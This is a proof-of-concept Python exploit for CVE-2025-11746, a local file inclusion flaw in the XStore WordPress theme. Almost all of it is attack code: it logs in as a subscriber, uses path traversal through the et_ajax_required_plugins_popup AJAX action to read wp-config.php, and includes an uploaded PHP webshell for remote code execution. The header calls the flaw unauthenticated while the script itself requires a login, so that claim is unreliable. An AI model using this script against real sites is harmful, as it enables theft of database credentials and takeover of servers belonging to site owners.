CVE-2025-11746

# CVE-2025-11746 - XStore Theme Local File Inclusion PoC # Vulnerability: Unauthenticated file inclusion via et_ajax_required_plugins_popup() # Requirements: Subscriber-level WordPress account import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Authenticate to WordPress and obtain session cookies session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Exploit LFI via et_ajax_required_plugins_popup AJAX action # The vulnerable parameter allows path traversal to include arbitrary .php files lfi_payload = "../../../wp-config.php" ajax_params = { "action": "et_ajax_required_plugins_popup", "file": lfi_payload # Malicious file path parameter } response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=ajax_params ) print("[*] Response status:", response.status_code) print("[*] Response body:", response.text[:500]) # Alternative: Include a previously uploaded malicious PHP file # If file upload is available, attacker can upload a PHP webshell # and include it via the LFI vulnerability to achieve RCE malicious_shell_path = "../../../wp-content/uploads/2025/10/shell.php" ajax_params_shell = { "action": "et_ajax_required_plugins_popup", "file": malicious_shell_path } response_shell = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=ajax_params_shell ) print("[*] Shell execution response:", response_shell.text[:500])

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